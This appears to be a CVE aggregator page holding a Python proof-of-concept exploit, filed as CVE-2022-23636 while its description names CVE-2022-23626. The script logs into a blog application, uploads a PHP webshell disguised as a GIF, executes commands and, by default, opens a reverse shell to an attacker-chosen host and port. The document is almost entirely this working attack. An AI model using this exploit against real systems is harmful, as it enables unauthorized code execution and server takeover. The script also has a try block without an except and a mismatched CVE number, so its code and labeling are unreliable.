5465 Total CVEs
26 Years
GitHub
README.md
README.md not found for CVE-2022-23636. The file may not exist in the repository.
POC / cve-2022-23636.py PY
import argparse
from base64 import b64encode
import requests

def get_args():
    parser = argparse.ArgumentParser(
        description='Authenticated RCE File Upload - CVE-2022-23626',
        epilog='Examples:\n'
               '  python3 cve-2022-23626.py --url http://localhost:8080 -u admin -p admin -c id\n'
               '  python3 cve-2022-23626.py --url http://localhost:8080 -u admin -p admin -lh 172.16.1.2 -lp 4444',
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )

    parser.add_argument('--url', help='Base URL for the Blog (e.g. http://target:8081)', required=True)
    parser.add_argument('-u', '--username', help='Blog username', required=True)
    parser.add_argument('-p', '--password', help='Blog password', required=True)
    parser.add_argument('-lh', '--lhost', help='Listening host for reverse shell', required=False)
    parser.add_argument('-lp', '--lport', help='Listening port for reverse shell', required=False)
    parser.add_argument('-c', '--command', help='Custom command to run instead of reverse shell', required=False)

    return parser.parse_args()


def get_tokens(url):
    resp = requests.get(url)
    if resp.status_code != 200:
        print(f'[!] Failed to reach {url} (status {resp.status_code})')
        return None, None


    cookie = resp.cookies.get_dict().get('PHPSESSID')
    if not cookie:
        print('[!] No PHPSESSID cookie found')
        return None, None

    try:
        csrf = resp.text.split('":"')[1].split('"')[0]
    except (IndexError, AttributeError):
        print('[!] Could not find CSRF token')
        return None, None

    print(f'[+] PHPSESSID: {cookie}')
    print(f'[+] CSRF-Token: {csrf}')

    return cookie, csrf


def login(url, cookie, csrf, username, password):
    resp = requests.post(
        f'{url}/ajax.php',
        headers={'X-Requested-With': 'XMLHttpRequest', 'Csrf-Token': csrf},
        cookies={'PHPSESSID': cookie},
        data={'action': 'login', 'nick': username, 'pass': password},
    )

    result = resp.json()
    if result.get('logged_in'):
        print('[+] Login successful')
        return True

    print(f'[!] Login failed: {result}')
    return False


def upload_shell(url, cookie, csrf, command):
    php_code = f"GIF89a<?php system(base64_decode('{b64encode(command.encode()).decode()}')); ?>"

    resp = requests.post(
        f'{url}/ajax.php?action=upload_image',
        headers={'X-Requested-With': 'XMLHttpRequest', 'Csrf-Token': csrf},
        cookies={'PHPSESSID': cookie},
        files={'file': ('shell.gif.php', php_code.encode(), 'image/gif')},
    )

    result = resp.json()
    path = result.get('path')
    if not path:
        print(f'[!] Upload failed: {result}')
        return None

    print(f'[+] Shell uploaded: {path}')
    return path



def trigger(url, path):
    print('[*] Triggering payload...')

    try:
        resp = requests.get(f'{url}/{path}', timeout=5)
        # Strip the GIF89a header
        output = resp.text.replace('GIF89a', '').strip()
        if output:
            print(f'[+] Output:\n{output}')

    print('[+] Done')


def main():
    args = get_args()

    if args.command:
        cmd = args.command
    elif args.lhost and args.lport:
        cmd = f"php -r '$sock=fsockopen(\"{args.lhost}\",{args.lport});exec(\"/bin/bash <&3 >&3 2>&3\");'"
    else:
        print('[!] Provide either --command or both --lhost and --lport')
        return

    cookie, csrf = get_tokens(args.url)
    if not cookie or not csrf:
        return

    if not login(args.url, cookie, csrf, args.username, args.password):
        return

    path = upload_shell(args.url, cookie, csrf, cmd)
    if not path:
        return

    trigger(args.url, path)

if __name__ == '__main__':
    main()